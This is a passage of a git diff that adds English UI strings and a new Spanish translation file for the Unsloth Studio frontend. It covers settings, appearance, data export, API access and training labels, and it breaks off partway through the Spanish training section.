+        resetAll: "Reset customization",
+        preferencesTitle: "Preferences",
+        colors: {
+          lightGroup: "Light theme",
+          darkGroup: "Dark theme",
+          accent: "Accent",
+          background: "Background",
+          foreground: "Foreground",
+        },
+        fontDefault: "Default",
+        fontBundledGroup: "Built-in",
+        fontImportedGroup: "Imported",
+        fontDeviceGroup: "On this device",
+        fontFolderGroup: "From folder",
+        fontDeviceLoading: "Looking for device fonts…",
+        fontSearch: "Search fonts…",
+        fontNoResults: "No fonts found.",
+        colorPicker: {
+          hue: "Hue",
+          hex: "Hex color",
+          eyedropper: "Pick a color from the screen",
+        },
+        uiFont: {
+          label: "UI font",
+        },
+        headingFont: {
+          label: "Heading font",
+        },
+        chatFont: {
+          label: "Chat font",
+        },
+        codeFont: {
+          label: "Code font",
+        },
+        importFont: {
+          upload: "Upload",
+          scanFolder: "Select folder",
+          alreadyAvailable:
+            "This font is already available, so the existing copy is used.",
+          folderNoFonts: "No font files found in that folder.",
+          remove: "Remove",
+          errorInvalidType:
+            "Unsupported file type. Use .woff2, .woff, .ttf, or .otf.",
+          errorTooLarge: "Font file is too large (max 1.5 MB).",
+          errorLimit: "You can import up to 3 fonts.",
+          errorStorageFull: "Not enough local storage for this font. Remove an imported font first.",
+          errorFailed: "Could not load this font file.",
+        },
+        uiFontSize: {
+          label: "UI font size",
+          description: "Adjust the base size used for the Unsloth UI.",
+        },
+        codeFontSize: {
+          label: "Code font size",
+          description: "Adjust the base size used for code.",
+        },
+        fontSmoothing: {
+          label: "Font smoothing",
+          description: "Use smoothed font anti-aliasing.",
+        },
+        contrast: {
+          label: "Contrast",
+          description: "Strength of borders and secondary text.",
+        },
+        reduceMotion: {
+          label: "Reduce motion",
+          description: "Reduce animations or match your system.",
+          system: "System",
+          on: "On",
+          off: "Off",
+        },
+        pointerCursors: {
+          label: "Use pointer cursors",
+          description:
+            "Change the cursor to a pointer when hovering over interactive elements.",
+        },
+      },
       language: {
         title: "Language",
         label: "Display language",
         description: "The language used by Unsloth.",
+        autoDetect: "Auto detect",
       },
       layout: {
         title: "Layout",
@@ -275,10 +510,17 @@ export const en = {
         compactSidebarDescription:
           "Keep the sidebar expanded instead of collapsing to icons.",
       },
+      sidebarMenu: {
+        title: "Sidebar menu",
+        description:
+          "Show, hide, and reorder items in the sidebar profile menu. Settings, Help, Log out, and Shutdown stay fixed.",
+        darkModeToggle: "Dark mode toggle",
+        dragToReorder: "Drag to reorder",
+      },
     },
     resources: {
       title: "System",
-      description: "Monitor this Studio server's hardware and storage.",
+      description: "Monitor this Unsloth server's hardware and storage.",
       liveUpdates: "Live updates",
       floatingWindow: "Floating window",
       disableOverlay: "Disable overlay",
@@ -308,10 +550,20 @@ export const en = {
         systemDisk: "System disk",
         diskUsage: "{used} used / {total}",
         diskFree: "{free} free",
-        modelsFolder: "Models folder",
-        modelsFolderDescription: "Where downloaded models are stored.",
+        modelsFolder: "Model downloads",
+        modelsFolderDescription: "Hugging Face cache used for model downloads.",
+        futureDownloads: "New downloads only",
+        environmentManaged: "Managed by the {variable} environment variable.",
+        locationFree: "{free} free",
         openAction: "Open",
         copyAction: "Copy path",
+        changeAction: "Change",
+        resetAction: "Use default",
+        chooseTitle: "Choose model download location",
+        chooseAction: "Use for future downloads",
+        cacheSaved: "Model download location updated",
+        cacheSaveError: "Couldn't update the model download location",
+        cachePickerError: "Couldn't open the folder picker",
         copied: "Path copied",
         openError: "Couldn't open the folder",
         copyError: "Couldn't copy the path",
@@ -330,7 +582,7 @@ export const en = {
     },
     chat: {
       title: "Chat",
-      description: "Manage chat history stored on this device.",
+      description: "Customize how chat behaves on this device.",
       modelDisclaimer: "Show model disclaimer",
       modelDisclaimerDescription:
         'Show "LLMs can make mistakes" under the chat box.',
@@ -399,6 +651,53 @@ export const en = {
         "A storage clear failed; {count} chats may remain. Please retry.",
       failedToClearChats: "Failed to clear chats",
     },
+    data: {
+      title: "Data",
+      description:
+        "Manage chat history and uploaded files stored on this device.",
+      archivedChats: "Archived chats",
+      archivedChatsDescription: "View and manage chats you have archived.",
+      manageAction: "Manage",
+      exportArchivedChats: "Export",
+      exportingArchivedChats: "Exporting...",
+      exportedOneArchivedChat: "Exported 1 archived chat",
+      exportedArchivedChatCount: "Exported {count} archived chats",
+      noArchivedChatsToExport: "No archived chats to export.",
+      failedToExportArchivedChats: "Failed to export archived chats",
+      archiveAllChats: "Archive all chats",
+      archiveAllChatsDescription:
+        "Move every chat in Recents and Projects to the archive.",
+      noChatsToArchive: "No chats to archive.",
+      archiveAllAction: "Archive all",
+      archivingAction: "Archiving...",
+      archiveAllChatsTitle: "Archive all chats?",
+      archiveAllChatsConfirmDescription:
+        "Moves every chat on this device to the archive. Archived chats stay available and can be unarchived at any time.",
+      archivedAllChats: "Archived all chats",
+      archivedOneChat: "Archived 1 chat",
+      archivedChatCount: "Archived {count} chats",
+      failedToArchiveChats: "Failed to archive chats",
+      confirmBeforeDeleting: "Confirm before deleting",
+      confirmBeforeDeletingDescription:
+        "Ask for confirmation before a chat is deleted. Turn off to delete instantly.",
+      filesSection: "Files",
+      uploadedFiles: "Uploaded files",
+      uploadedFilesDescription:
+        "View and manage files uploaded to chats, projects, and knowledge bases.",
+      fineTuneExport: "Use chats as training data",
+      fineTuneExportDescription:
+        "Create a fine-tuning JSONL dataset from your chats. Load it in Train, refine in Recipes, or export it.",
+      fineTuneExportAction: "Export JSONL",
+      fineTuneRunAction: "Run",
+      fineTuneExportingAction: "Exporting...",
+      fineTuneOpenRecipesAction: "Open in Recipes",
+      fineTuneOpeningRecipesAction: "Opening...",
+      fineTuneTrainAction: "Load in Train tab",
+      fineTuneTrainingAction: "Loading...",
+      fineTuneExportFailed: "Failed to export training data",
+      fineTuneRecipeFailed: "Failed to open chats in Recipes",
+      fineTuneTrainFailed: "Failed to load dataset in the Train tab",
+    },
     connections: {
       title: "Connections",
       description: "Manage providers and external connections.",
@@ -408,7 +707,6 @@ export const en = {
       description: "Access Unsloth via the OpenAI-compatible API.",
       readDocs: "Read the API docs",
       noAccess: "No API access yet.",
-      newBadge: "New",
       accessTokens: "Access tokens",
       loadError: "Couldn't load API access.",
       createError: "Couldn't create access token.",
@@ -443,7 +741,10 @@ export const en = {
       codingAgents: "Coding agents",
       codingAgentsHint:
         "Launch a coding agent against this server. It uses the loaded model; a local server mints an API key automatically, a remote one includes it in the command.",
-      codingAgentsSwap: "Swap claude for codex, openclaw, opencode, hermes, or pi.",
+      codingAgentsSwap:
+        "Swap claude for codex, openclaw, opencode, hermes, or pi.",
+      codingAgentDetected: "Installed on this machine",
+      codingAgentsDetectedHint: "Detected on this machine: {agents}.",
       relativeNever: "never",
       relativeJustNow: "just now",
       relativeHoursAgo: "{count}h ago",
@@ -750,6 +1051,8 @@ export const en = {
       optimizer: "Optimizer",
       optimizerTooltip:
         "Optimization algorithm. 8-bit variants reduce memory usage. Fused is recommended for vision models.",
+      optimizerTooltipMlx:
+        "Optimization algorithm. AdamW is the default. Lion uses less memory but usually needs a lower learning rate.",
       lrScheduler: "LR scheduler",
       lrSchedulerTooltip:
         "How the learning rate changes over training. Linear decays steadily; cosine decays in a curve.",
@@ -822,7 +1125,8 @@ export const en = {
       continueAction: "Continue Training",
       cancelAction: "Cancel Training",
       stopTitle: "Stop Training",
-      stopDescription: "Choose how you want to stop the current training run.",
+      stopDescription:
+        "Choose how you want to stop the current training run. Stop and Save writes a checkpoint you can resume from later; Stop cannot be resumed.",
       stopAction: "Stop",
       stopping: "Stopping...",
       stopAndSave: "Stop and Save",
diff --git a/studio/frontend/src/i18n/locales/es.ts b/studio/frontend/src/i18n/locales/es.ts
new file mode 100644
index 0000000000..dfbd98aca6
--- /dev/null
+++ b/studio/frontend/src/i18n/locales/es.ts
@@ -0,0 +1,1043 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import type { DeepPartialMessageTree } from "../types";
+import type { en } from "./en";
+
+export const es = {
+  common: {
+    cancel: "Cancelar",
+    close: "Cerrar",
+    delete: "Eliminar",
+    done: "Listo",
+    error: "Error",
+    export: "Exportar",
+    help: "Ayuda",
+    loading: "Cargando...",
+    new: "Nuevo",
+    rename: "Renombrar",
+    save: "Guardar",
+    saving: "Guardando...",
+    search: "Buscar",
+    shutdown: "Apagar",
+  },
+  shell: {
+    beta: "BETA",
+    brand: "unsloth",
+    product: "Unsloth Studio",
+    accountMenu: "Menú de cuenta de {name}",
+    updateAvailable: "Actualización disponible",
+    aria: {
+      home: "Inicio de Unsloth",
+      closeSidebar: "Cerrar barra lateral",
+      openSidebar: "Abrir barra lateral",
+      chatOptions: "Opciones de chat",
+      runOptions: "Opciones de ejecución",
+    },
+    navigation: {
+      newChat: "Nuevo chat",
+      returnToChat: "Volver al chat",
+      compare: "Comparar",
+      search: "Buscar",
+      hub: "Modelos",
+      train: "Entrenar",
+      recipes: "Recetas",
+      export: "Exportar",
+      recents: "Recientes",
+      noChatsYet: "Aún no hay chats",
+      settings: "Configuración",
+      api: "API",
+      lightMode: "Modo claro",
+      darkMode: "Modo oscuro",
+      guidedTour: "Recorrido guiado",
+      help: "Ayuda",
+      logOut: "Cerrar sesión",
+      shutdown: "Apagar",
+    },
+    notFound: {
+      title: "Página no encontrada",
+      description: "{path} no existe.",
+      backToChat: "Volver al chat",
+    },
+    dialog: {
+      deleteChat: {
+        title: "Eliminar chat",
+        description: '¿Seguro que quieres eliminar este chat "{name}"?',
+      },
+      deleteRun: {
+        title: "Eliminar ejecución de entrenamiento",
+        description: '¿Seguro que quieres eliminar esta ejecución "{name}"?',
+      },
+      renameChat: {
+        title: "Renombrar chat",
+        placeholder: "Título del chat",
+      },
+      renameRun: {
+        title: "Renombrar ejecución",
+        placeholder: "Nombre de la ejecución",
+      },
+    },
+    toast: {
+      cannotDeleteRunningRun:
+        "No se puede eliminar una ejecución de entrenamiento en curso",
+      failedToDeleteChat: "No se pudo eliminar el chat",
+      failedToDeleteRun: "No se pudo eliminar la ejecución",
+      failedToRenameChat: "No se pudo renombrar el chat",
+      failedToRenameRun: "No se pudo renombrar la ejecución",
+    },
+  },
+  settings: {
+    title: "Configuración",
+    dialog: {
+      title: "Configuración",
+      description: "Gestiona tus preferencias de Unsloth.",
+      closeAriaLabel: "Cerrar configuración",
+    },
+    tabs: {
+      general: "General",
+      profile: "Perfil",
+      appearance: "Apariencia",
+      resources: "Sistema",
+      chat: "Chat",
+      connections: "Conexiones",
+      apiKeys: "API",
+      about: "Acerca de",
+    },
+    general: {
+      title: "General",
+      description: "Preferencias globales de Unsloth.",
+      account: "Cuenta",
+      huggingFaceToken: "Token de Hugging Face",
+      huggingFaceTokenDescription:
+        "Se usa para cargar modelos restringidos y subir artefactos.",
+      hideToken: "Ocultar token",
+      showToken: "Mostrar token",
+      tokenValidated: "Token validado",
+      password: "Contraseña",
+      passwordDescription:
+        "Cambia la contraseña de esta cuenta de Unsloth.",
+      passwordDialog: {
+        trigger: "Cambiar contraseña",
+        title: "Cambiar contraseña",
+        description:
+          "Introduce tu contraseña actual y elige una nueva (al menos {minLength} caracteres).",
+        currentPassword: "Contraseña actual",
+        newPassword: "Contraseña nueva",
+        confirmPassword: "Confirmar contraseña nueva",
+        currentTooShort:
+          "La contraseña actual debe tener al menos {minLength} caracteres.",
+        newTooShort:
+          "La contraseña nueva debe tener al menos {minLength} caracteres.",
+        mismatch: "Las contraseñas no coinciden.",
+        samePassword:
+          "La contraseña nueva debe ser distinta de la actual.",
+        update: "Actualizar contraseña",
+        updating: "Actualizando...",
+        updated: "Contraseña actualizada.",
+        updateFailed: "No se pudo actualizar la contraseña.",
+      },
+      chatDefaults: "Valores predeterminados del chat",
+      autoTitleNewChats: "Titular automáticamente los chats nuevos",
+      autoTitleNewChatsDescription:
+        "Genera un título breve a partir del primer mensaje.",
+      helperLlm: {
+        sectionTitle: "LLM auxiliar",
+        preloadOnStartup: "Precargar el LLM auxiliar al iniciar",
+        preloadOnStartupDescription:
+          "Descarga en segundo plano el modelo auxiliar de AI Assist al iniciar. Desactivado por defecto; AI Assist aún puede obtenerlo bajo demanda.",
+        disabledByEnv:
+          "Desactivado por UNSLOTH_HELPER_MODEL_DISABLE en el entorno del backend.",
+        loadError: "No se pudo cargar la configuración del LLM auxiliar.",
+        saveError: "No se pudo guardar la configuración del LLM auxiliar.",
+      },
+      modelAutoSwitch: {
+        sectionTitle: "Cambio automático de modelo (API de OpenAI)",
+        enable: "Cambiar de modelo según la solicitud",
+        enableDescription:
+          "Cuando una solicitud compatible con OpenAI nombra un GGUF descargado distinto, se carga antes de responder. Desactivado por defecto; los nombres desconocidos siguen usando el modelo cargado.",
+        idleUnload: "Descarga automática por inactividad",
+        idleUnloadDescription:
+          "Descarga el modelo tras este número de segundos inactivo para liberar VRAM; la siguiente solicitud lo recarga. 0 lo mantiene cargado. Mínimo 60 segundos.",
+        idleNeedsEnable:
+          "Activa Cambiar de modelo según la solicitud para que un modelo descargado se recargue en el próximo uso.",
+        idleActiveViaEnv:
+          "La descarga automática por inactividad está activa mediante la variable de entorno UNSLOTH_MODEL_IDLE_TTL.",
+        loadError:
+          "No se pudo cargar la configuración de cambio automático de modelo.",
+        saveError:
+          "No se pudo guardar la configuración de cambio automático de modelo.",
+        idleError: "Introduce 0 para mantener el modelo cargado, o al menos 60 segundos.",
+      },
+      previewSharing: {
+        sectionTitle: "Compartir vista previa",
+        enableLabel: "Enlaces públicos de vista previa",
+        enableDescription:
+          "Permite que cualquiera con un enlace firmado chatee con un modelo terminado, sin necesidad de iniciar sesión. Desactívalo para retirar la vista previa pública; los enlaces compartidos dejan de funcionar.",
+        loadError:
+          "No se pudo cargar la configuración para compartir vista previa.",
+        saveError:
+          "No se pudo guardar la configuración para compartir vista previa.",
+        revokeLabel: "Revocar todos los enlaces de vista previa",
+        revokeDescription:
+          "Rota el secreto de firma para que todos los enlaces que hayas compartido dejen de funcionar. Los enlaces recién copiados siguen funcionando.",
+        revokeAction: "Revocar enlaces",
+        revoking: "Revocando...",
+        revokeConfirmTitle: "¿Revocar todos los enlaces de vista previa?",
+        revokeConfirmDescription:
+          "Todos los enlaces de vista previa que hayas compartido dejarán de funcionar de inmediato. Esto no se puede deshacer.",
+        revokeConfirmAction: "Revocar todos los enlaces",
+        revoked: "Todos los enlaces de vista previa revocados",
+        revokeError: "No se pudieron revocar los enlaces de vista previa",
+      },
+      notifications: {
+        sectionTitle: "Notificaciones",
+        showLlamaUpdates: "Notificaciones de actualización de llama.cpp",
+        showLlamaUpdatesDescription:
+          "Avisa cuando haya una compilación más reciente de llama.cpp para ejecutar nuevos modelos. Desactívalo si solo entrenas.",
+      },
+      gettingStarted: "Primeros pasos",
+      startOnboarding: "Iniciar la introducción",
+      startOnboardingDescription:
+        "Reabre el asistente de configuración sin cambiar tu cuenta.",
+      startOnboardingAction: "Iniciar la introducción",
+      uploads: {
+        sectionTitle: "Subidas",
+        maxUploadSize: "Límite de subida del conjunto de datos de entrenamiento",
+        maxUploadSizeDescription: "El valor predeterminado es {defaultSize} MB.",
+      },
+      rag: {
+        sectionTitle: "Documentos y RAG",
+        embeddingModel: "Modelo de embeddings",
+        embeddingModelDescription:
+          "Modelo de Hugging Face o ruta local usada para indexar y buscar tus documentos. El valor predeterminado es {defaultModel}.",
+        reindexWarning:
+          "Solo afecta a los documentos recién indexados. Vuelve a subir los existentes tras cambiar el modelo.",
+        emptyError:
+          "Introduce un id de modelo de Hugging Face o una ruta local.",
+        loadError:
+          "No se pudo cargar la configuración del modelo de embeddings.",
+        saveError: "No se pudo guardar el modelo de embeddings.",
+        saved: "Modelo de embeddings guardado.",
+        saveAnyway: "Guardar de todos modos",
+        resetAction: "Restablecer al valor predeterminado",
+      },
+      storage: {
+        sectionTitle: "Almacenamiento",
+        modelsFolder: "Carpeta de modelos",
+        modelsFolderDescription:
+          "Dónde se almacenan los modelos descargados.",
+        openAction: "Abrir",
+        copyAction: "Copiar ruta",
+        copied: "Ruta copiada",
+        openError: "No se pudo abrir la carpeta",
+        copyError: "No se pudo copiar la ruta",
+      },
+      resetPreferences: {
+        sectionTitle: "Zona de peligro",
+        label: "Restablecer todas las preferencias locales",
+        description:
+          "Borra las preferencias solo locales. Se conservan los chats, el acceso a la API y la configuración almacenada en la base de datos.",
+        action: "Restablecer preferencias",
+        confirmTitle: "¿Restablecer todas las preferencias locales?",
+        confirmDescription:
+          "Borra las preferencias solo locales y recarga Unsloth. Se conservan los chats, el acceso a la API y la configuración almacenada en la base de datos.",
+        confirmAction: "Restablecer y recargar",
+      },
+    },
+    profile: {
+      title: "Perfil",
+      description: "Cómo aparece tu perfil en Unsloth.",
+      changePicture: "Cambiar foto de perfil",
+      displayName: "Nombre visible",
+      nickname: "¿Cómo debería llamarte Unsloth?",
+      nicknamePlaceholder: "Apodo",
+      nicknameSaved: "Nombre preferido guardado",
+      avatarShape: "Forma de la foto de perfil",
+      avatarShapeCircle: "Círculo",
+      avatarShapeRounded: "Redondeada",
+      chooseSloth: "O elige un perezoso",
+      nameSaved: "Nombre de perfil guardado",
+      namePersistErrorTitle: "No se pudo guardar el nombre de perfil",
+      namePersistErrorDescription:
+        "El nombre se actualizó para esta sesión, pero podría no conservarse tras recargar.",
+      photoUpdated: "Foto de perfil actualizada",
+      photoPersistErrorTitle: "No se pudo guardar la foto de perfil",
+      photoPersistErrorDescription:
+        "La foto se actualizó para esta sesión, pero podría no conservarse tras recargar.",
+      photoUpdateErrorTitle: "No se pudo actualizar la foto de perfil",
+      imageUseError: "No se pudo usar esta imagen.",
+    },
+    appearance: {
+      title: "Apariencia",
+      description: "Cómo se ve Unsloth Studio en este dispositivo.",
+      theme: {
+        title: "Tema",
+        label: "Esquema de color",
+        description: "Claro, oscuro o según tu sistema.",
+        system: "Sistema",
+        light: "Claro",
+        dark: "Oscuro",
+      },
+      language: {
+        title: "Idioma",
+        label: "Idioma de la interfaz",
+        description: "El idioma que usa Unsloth.",
+        autoDetect: "Detección automática",
+      },
+      layout: {
+        title: "Diseño",
+        compactSidebar: "Fijar la barra lateral por defecto",
+        compactSidebarDescription:
+          "Mantén la barra lateral expandida en lugar de contraerla a iconos.",
+      },
+    },
+    resources: {
+      title: "Sistema",
+      description:
+        "Monitorea el hardware y el almacenamiento de este servidor de Unsloth.",
+      liveUpdates: "Actualizaciones en vivo",
+      floatingWindow: "Ventana flotante",
+      disableOverlay: "Desactivar superposición",
+      liveMonitor: {
+        title: "Monitor en vivo",
+        cpu: "CPU",
+        ram: "RAM",
+        disk: "Disco",
+        vram: "VRAM",
+        cpuCores: "{logical} núcleos lógicos / {physical} físicos",
+        currentLoad: "Carga actual",
+        free: "{value} libre",
+        noGpu: "No hay GPU visible",
+      },
+      gpu: {
+        title: "Dispositivos GPU",
+        noGpu:
+          "No se detectó ninguna GPU visible. Arriba se muestran los recursos solo de CPU.",
+        unknownDevice: "GPU desconocida",
+        deviceWithIndex: "GPU {index}",
+        vramUtilization: "VRAM",
+        used: "{value} en uso",
+        free: "{value} libre",
+        total: "{value} en total",
+      },
+      storage: {
+        title: "Almacenamiento",
+        systemDisk: "Disco del sistema",
+        diskUsage: "{used} en uso / {total}",
+        diskFree: "{free} libre",
+        modelsFolder: "Carpeta de modelos",
+        modelsFolderDescription:
+          "Dónde se almacenan los modelos descargados.",
+        openAction: "Abrir",
+        copyAction: "Copiar ruta",
+        copied: "Ruta copiada",
+        openError: "No se pudo abrir la carpeta",
+        copyError: "No se pudo copiar la ruta",
+      },
+      environment: {
+        title: "Entorno",
+        backend: "Backend",
+        python: "Python",
+        torch: "Torch",
+        transformers: "Transformers",
+        uptime: "Tiempo activo",
+        processMemory: "Memoria del proceso",
+        notInstalled: "No instalado",
+        unknown: "Desconocido",
+      },
+    },
+    chat: {
+      title: "Chat",
+      description: "Gestiona el historial de chat almacenado en este dispositivo.",
+      modelDisclaimer: "Mostrar aviso del modelo",
+      modelDisclaimerDescription:
+        'Muestra "Los LLM pueden cometer errores" bajo el cuadro de chat.',
+      artifacts: {
+        title: "Canvas",
+        collapseHtmlBlocks: "Contraer bloques HTML",
+        collapseHtmlBlocksDescription:
+          "El modo Canvas contrae el HTML completo automáticamente. Activa esto para contraer también los documentos HTML entre delimitadores cuando Canvas está desactivado.",
+        allowNetworkAccess: "Permitir acceso de red en Canvas",
+        allowNetworkAccessDescription:
+          "Permite que las vistas previas de Canvas carguen scripts, estilos, fuentes, medios y recursos de red desde CDNs. Mantenlo desactivado para vistas previas totalmente sin conexión.",
+      },
+      data: "Datos",
+      exportHistory: "Exportar historial de chat",
+      exportHistoryDescription:
+        "Descarga todos los chats y mensajes como JSON.",
+      exportAction: "Exportar",
+      exportingAction: "Exportando...",
+      exportConversations: "Exportar Recientes y Proyectos",
+      exportConversationsDescription:
+        "Descarga Recientes, o Recientes más los chats de proyectos, como JSONL sin procesar, CSV o JSONL de ShareGPT, combinados o por chat.",
+      exportConversationsAction: "Exportar",
+      exportScopeRecents: "Recientes",
+      exportScopeAll: "Recientes + Proyectos",
+      exportCombinedSuffix: "(combinado)",
+      exportPerChatSuffix: "(por chat)",
+      importChats: "Importar chats",
+      importChatsDescription:
+        "Importa una exportación JSONL, NDJSON o CSV a Recientes.",
+      importChatsAction: "Importar",
+      importNoConversations: "No se encontraron conversaciones en el archivo.",
+      importedOneChat: "Se importó 1 conversación a Recientes.",
+      importedChatCount: "Se importaron {count} conversaciones a Recientes.",
+      importFailed: "La importación falló.",
+      clearHistory: "Borrar historial de chat",
+      clearHistoryDescription: "Elimina el historial de chat de este dispositivo.",
+      clearAction: "Borrar",
+      clearAllChats: "Borrar todos los chats",
+      clearAllChatsDescription:
+        "Elimina permanentemente todos los chats de este dispositivo.",
+      noChatsToClear: "No hay chats para borrar.",
+      clearOneChatDescription:
+        "Elimina permanentemente el único chat de este dispositivo.",
+      clearChatCountDescription:
+        "Elimina permanentemente los {count} chats de este dispositivo.",
+      clearChatsAction: "Borrar chats",
+      clearOneChatTitle: "¿Borrar 1 chat?",
+      clearChatsTitle: "¿Borrar {count} chats?",
+      clearChatsConfirmDescription:
+        "Elimina permanentemente todos los chats de este dispositivo. Esto no se puede deshacer.",
+      clearingAction: "Borrando...",
+      clearOneChatAction: "Borrar 1 chat",
+      clearChatCountAction: "Borrar {count} chats",
+      clearedAllChats: "Se borraron todos los chats",
+      clearedOneChat: "Se borró 1 chat",
+      clearedChatCount: "Se borraron {count} chats",
+      someChatsCouldNotBeCleared: "Algunos chats no se pudieron borrar",
+      chatsClearedRemainOne:
+        "{clearedCount} chats borrados; queda 1 chat. Inténtalo de nuevo.",
+      chatsClearedRemain:
+        "{clearedCount} chats borrados; quedan {remainingCount} chats. Inténtalo de nuevo.",
+      oneChatClearedRemain:
+        "1 chat borrado; quedan {remainingCount} chats. Inténtalo de nuevo.",
+      oneChatClearedRemainOne:
+        "1 chat borrado; queda 1 chat. Inténtalo de nuevo.",
+      storageClearFailedOne:
+        "Falló un borrado del almacenamiento; puede quedar 1 chat. Inténtalo de nuevo.",
+      storageClearFailed:
+        "Falló un borrado del almacenamiento; pueden quedar {count} chats. Inténtalo de nuevo.",
+      failedToClearChats: "No se pudieron borrar los chats",
+    },
+    connections: {
+      title: "Conexiones",
+      description: "Gestiona proveedores y conexiones externas.",
+    },
+    apiKeys: {
+      title: "API",
+      description: "Accede a Unsloth mediante la API compatible con OpenAI.",
+      readDocs: "Leer la documentación de la API",
+      noAccess: "Aún no hay acceso a la API.",
+      accessTokens: "Tokens de acceso",
+      loadError: "No se pudo cargar el acceso a la API.",
+      createError: "No se pudo crear el token de acceso.",
+      revokeError: "No se pudo revocar el token de acceso.",
+      never: "Nunca",
+      tokenNamePlaceholder: "Nombre del token (p. ej. producción)",
+      newAccessTokenName: "Nombre del nuevo token de acceso",
+      createToken: "Crear token",
+      creating: "Creando...",
+      newTokenCreated: "Nuevo token de acceso creado",
+      accessTokenCopied: "Token de acceso copiado",
+      copyAccessToken: "Copiar token de acceso",
+      copyNow: "Cópialo ahora: no se volverá a mostrar.",
+      usageExamples: "Ejemplos de uso",
+      usageTools: "Herramientas",
+      exampleCurlTools: "curl + herramientas",
+      examplePythonTools: "Python + herramientas",
+      exampleJavaScriptTools: "JavaScript + herramientas",
+      exampleCurlAdvanced: "curl + avanzado",
+      examplePythonAdvanced: "Python + avanzado",
+      exampleJavaScriptAdvanced: "JavaScript + avanzado",
+      osUnix: "Linux / macOS / WSL",
+      osWindows: "Windows",
+      secureHttps: "HTTPS seguro",
+      secureHttpsHint:
+        "El puerto 0.0.0.0 sigue siendo accesible globalmente. Para máxima seguridad, inicia Unsloth Studio con --secure para exponer solo este enlace HTTPS.",
+      copyTunnelUrl: "Copiar URL del túnel",
+      copySnippet: "Copiar fragmento",
+      copy: "Copiar",
+      copied: "Copiado",
+      setupDocs: "Documentación de configuración:",
+      codingAgents: "Agentes de programación",
+      codingAgentsHint:
+        "Inicia un agente de programación contra este servidor. Usa el modelo cargado; un servidor local genera una clave de API automáticamente y uno remoto la incluye en el comando.",
+      codingAgentsSwap:
+        "Reemplaza claude por codex, openclaw, opencode, hermes o pi.",
+      codingAgentDetected: "Instalado en esta máquina",
+      codingAgentsDetectedHint: "Detectados en esta máquina: {agents}.",
+      relativeNever: "nunca",
+      relativeJustNow: "justo ahora",
+      relativeHoursAgo: "hace {count} h",
+      relativeDaysAgo: "hace {count} d",
+      relativeMonthsAgo: "hace {count} mes(es)",
+      relativeYearsAgo: "hace {count} año(s)",
+      expired: "caducado",
+      today: "hoy",
+      inDays: "en {count} d",
+      created: "Creado {value}",
+      used: "Usado {value}",
+      expires: "Caduca {value}",
+      actionsFor: "Acciones para {name}",
+      copyPrefix: "Copiar prefijo",
+      revokeToken: "Revocar token",
+      revokeTitle: '¿Revocar el token de acceso "{name}"?',
+      revokeDescription:
+        "Las apps que usan este token pierden el acceso de inmediato. Esto no se puede deshacer.",
+      revokeAction: 'Revocar "{name}"',
+      revoking: "Revocando...",
+    },
+    about: {
+      title: "Acerca de",
+      description:
+        "Documentación, notas de la versión, comentarios e información de compilación.",
+      studioVersion: "Versión de Unsloth",
+      packageVersion: "Versión del paquete",
+      llamaCppVersion: "Versión de llama.cpp",
+      hardware: "Hardware",
+      gpu: "GPU",
+      cuda: "CUDA",
+      rocm: "ROCm",
+      updates: "Actualizar",
+      help: "Ayuda",
+      documentation: "Documentación",
+      releaseNotes: "Notas de la versión",
+      whatsNew: "Novedades",
+      feedback: "Comentarios",
+      reportIssue: "Reportar un problema",
+      license: {
+        sectionTitle: "Licencia",
+        studioLabel: "Unsloth Studio",
+        studioLicense: "AGPL-3.0",
+        studioDescription: "Código abierto bajo la GNU AGPL v3.0.",
+        libraryLabel: "Unsloth Core",
+        libraryLicense: "Apache-2.0",
+        libraryDescription: "Con licencia Apache 2.0.",
+      },
+      dangerZone: "Zona de peligro",
+      shutDownStudio: "Apagar Unsloth Studio",
+      shutDownStudioDescription:
+        "Detiene el servidor de Unsloth y finaliza tu sesión.",
+      shutDown: "Apagar",
+      update: {
+        title: "Actualizar Unsloth Studio",
+        commandText: "Texto de {label}",
+        copied: "Copiado",
+        copyCommand: "Copiar comando",
+        commandCopied: "{label} copiado",
+        copyNamedCommand: "Copiar {label}",
+        checkingInstall: "Comprobando cómo se instaló Unsloth...",
+        installIntro: "Para instalar o actualizar Unsloth:",
+        localUpdateHeading: "Actualización local",
+        installCommandUnix: "Comando de instalación para macOS/Linux",
+        installCommandWindows: "Comando de instalación para Windows",
+        localInstallDetected:
+          "Instalación local detectada. Actualiza desde tu checkout original para evitar reemplazarlo con PyPI.",
+        pullThenUpdate:
+          "Descarga los últimos cambios y luego ejecuta el instalador local:",
+        gitPullCommand: "comando git pull",
+        localInstallerCommand: "comando del instalador local",
+        sourceInstallDetected:
+          "Instalación de paquete desde código fuente o VCS detectada. Reinstala desde la ruta local original o la URL de Git.",
+        repoCheckoutFallback:
+          "Si aún tienes el checkout del repositorio, ejecuta el instalador local desde él:",
+        restartAfterUpdate: "Reinicia Unsloth después de actualizar.",
+        desktopManaged:
+          "La app de escritorio mantiene actualizado su backend integrado y avisará cuando haya una nueva versión disponible.",
+        unknownInstall:
+          "No se pudo detectar cómo se instaló Unsloth. Para instalaciones con el instalador o desde PyPI, usa los comandos anteriores.",
+        localCheckout:
+          "Para instalaciones desde un checkout local, ejecuta el instalador local desde ese checkout:",
+        docs: "Documentación de instalación:",
+        docsInstall: "Instalación",
+        docsUpdating: "Actualización",
+        docsMac: "Mac",
+        docsWindows: "Windows",
+      },
+    },
+  },
+  studio: {
+    routeTitle: "Entrenar",
+    title: "Studio de fine-tuning",
+    subtitles: {
+      configure: "Configura e inicia el entrenamiento",
+      trainingInProgress: "Entrenamiento en curso",
+      viewPastRuns: "Ver ejecuciones de entrenamiento anteriores",
+      viewingPastRun: "Viendo una ejecución anterior",
+    },
+    tabs: {
+      configure: "Configurar",
+      currentRun: "Ejecución actual",
+      history: "Historial",
+    },
+    loadingRuntime: "Cargando entorno de entrenamiento...",
+    backToHistory: "Volver al historial",
+    sections: {
+      model: "Modelo",
+      dataset: "Conjunto de datos",
+      params: "Parámetros",
+      training: "Entrenamiento",
+      charts: "Gráficas",
+      progress: "Progreso del entrenamiento",
+    },
+    configure: {
+      title: "Configurar",
+      description:
+        "Elige un modelo, un conjunto de datos y la configuración de entrenamiento.",
+      startTraining: "Iniciar entrenamiento",
+      starting: "Iniciando...",
+      loadingModel: "Cargando modelo...",
+      checkingDataset: "Comprobando conjunto de datos...",
+      trainingConfig: "Configuración de entrenamiento",
+    },
+    model: {
+      title: "Modelo",
+      description: "Selecciona el modelo base y el método de entrenamiento",
